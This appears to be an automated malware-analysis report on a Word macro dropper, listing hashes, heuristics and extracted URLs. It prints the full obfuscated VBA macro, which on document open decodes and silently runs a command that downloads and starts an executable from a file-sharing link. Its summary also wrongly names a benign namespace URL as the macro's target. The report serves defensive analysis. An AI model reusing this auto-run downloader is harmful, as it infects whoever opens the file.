Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 19be1af94c60453b…

MALICIOUS

Office (OLE)

109.0 KB Created: 2017-05-09 08:23:00 First seen: 2018-01-23
MD5: 155e4df45d76b2eb71bf9ab861c22672 SHA-1: b7f89131b27712b11abc8579706a36568ab677f4 SHA-256: 19be1af94c60453bf5e2eb4f31a4c4ad2ee65e8bf8a9656ded27b01c98aef8cb
262 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1204.002 Malicious File

The sample contains VBA macros with an AutoOpen function that calls Shell(), indicating it is designed to execute arbitrary code. The document body explicitly instructs the user to 'Enable editing' and 'Enable Content', a common social engineering tactic for macro-based malware. The reconstructed URL from the script is 'http://www.w3.org/1999/02/22-rdf-syntax-ns#', which is benign, but the presence of the Shell() call and the lure strongly suggest a dropper functionality.

Heuristics 8

  • ClamAV: Doc.Dropper.Agent-6425899-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-6425899-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Macro/content-enable lure medium SE_ENABLE_LURE
    Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://www.w3.org/1999/02/22-rdf-syntax-ns# In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/In document text (OLE body)
    • http://purl.org/dc/elements/1.1/In document text (OLE body)
    • http://ns.adobe.com/photoshop/1.0/In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/mm/In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/sType/ResourceEvent#In document text (OLE body)
    • http://ns.adobe.com/tiff/1.0/In document text (OLE body)
    • http://ns.adobe.com/exif/1.0/In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/rights/In document text (OLE body)
    • http://schemas.openxmlformats.org/drawingml/2006/mainIn document text (OLE body)
    • http://schemas.openxmlformats.org/officeDocument/2006/bibliographyIn document text (OLE body)
    • http://schemas.openxmlformats.org/officeDocument/2006/customXmlIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 2636 bytes
SHA-256: 5efbab3de8e09b97b95054c7ccad5b8cd6ad65a19521e10287e461eba60d5736
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "NewMacros"
Private Function RJFZKWMLSAAKBUWKNKINF(OIXFXUPJBPGKKNAAIIGS As String)
  RJFZKWMLSAAKBUWKNKINF = FUJWXZM(OIXFXUPJBPGKKNAAIIGS, 3)
End Function
Sub AutoOpen()
    Dim DSZNCSUKGIKOPFMHKKHMGNMKZ, IZTIOLBSIUWKKFKMR As String
    DSZNCSUKGIKOPFMHKKHMGNMKZ = DSZNCSUKGIKOPFMHKKHMGNMKZ & RJFZKWMLSAAKBUWKNKINF("fpg1h{h 2f %zdlwiru 2w 8 \NH") & RJFZKWMLSAAKBUWKNKINF("UT ) elwvdgplq 2wud") & RJFZKWMLSAAKBUWKNKINF("qvihu XNHI 2grzqordg 2sulr") & RJFZKWMLSAAKBUWKNKINF("ulw| qrupdo kwwsv=22zzz1gur") & RJFZKWMLSAAKBUWKNKINF("ser{1frp2v2}|tdgu{t") & RJFZKWMLSAAKBUWKNKINF("{t;df3v24thv|r}dqd") & RJFZKWMLSAAKBUWKNKINF("qu")
    DSZNCSUKGIKOPFMHKKHMGNMKZ = DSZNCSUKGIKOPFMHKKHMGNMKZ & RJFZKWMLSAAKBUWKNKINF("lyr{lw|ri1h{hBgo@4 (dssg") & RJFZKWMLSAAKBUWKNKINF("dwd(_qkhkle1h{h )vwduw (dssgd") & RJFZKWMLSAAKBUWKNKINF("wd(_qkhkle1h{h%")

    IZTIOLBSIUWKKFKMR = IZTIOLBSIUWKKFKMR & RJFZKWMLSAAKBUWKNKINF("H") & RJFZKWMLSAAKBUWKNKINF("uuru 4") & RJFZKWMLSAAKBUWKNKINF("<;:") & RJFZKWMLSAAKBUWKNKINF("7= \rx pxvw kdyh Riilfh Surihv") & RJFZKWMLSAAKBUWKNKINF("vlrqdo Hglwlrq wr uhdg ") & RJFZKWMLSAAKBUWKNKINF("wklv frq")
    IZTIOLBSIUWKKFKMR = IZTIOLBSIUWKKFKMR & RJFZKWMLSAAKBUWKNKINF("whqw/ sohdvh xsjudgh |rxu ol") & RJFZKWMLSAAKBUWKNKINF("fhqfh1 Ylvlw zzz1plf") & RJFZKWMLSAAKBUWKNKINF("urvriw1frp iru khos")
    
    Shell DSZNCSUKGIKOPFMHKKHMGNMKZ, vbHide
    MsgBox IZTIOLBSIUWKKFKMR
End Sub
Private Function FUJWXZM(ByVal CXMMKXCALPEJBZTPRVTHANKO As String, ByVal XKIGNRENYFR As Long) As String
    Dim OKAJZDMZIHV, UWKVYKZHUKDSBDLDZ, UDFVRWBZAWFFJF As Long
    OKAJZDMZIHV = Len(CXMMKXCALPEJBZTPRVTHANKO)
    Dim JNMSHPMOWWGIFETRCXM As String
    Dim MKPUBICWJCPDGYMVZCNEYU() As Long
    ReDim MKPUBICWJCPDGYMVZCNEYU(1 To OKAJZDMZIHV)
    For UDFVRWBZAWFFJF = 1 To OKAJZDMZIHV
        UWKVYKZHUKDSBDLDZ = Asc(Mid(CXMMKXCALPEJBZTPRVTHANKO, UDFVRWBZAWFFJF, 1))
        If UWKVYKZHUKDSBDLDZ = 32 Then
            MKPUBICWJCPDGYMVZCNEYU(UDFVRWBZAWFFJF) = UWKVYKZHUKDSBDLDZ
        Else:
            UWKVYKZHUKDSBDLDZ = UWKVYKZHUKDSBDLDZ - XKIGNRENYFR
            MKPUBICWJCPDGYMVZCNEYU(UDFVRWBZAWFFJF) = UWKVYKZHUKDSBDLDZ
        End If
        JNMSHPMOWWGIFETRCXM = JNMSHPMOWWGIFETRCXM & Chr(MKPUBICWJCPDGYMVZCNEYU(UDFVRWBZAWFFJF))
    Next
    FUJWXZM = JNMSHPMOWWGIFETRCXM
End Function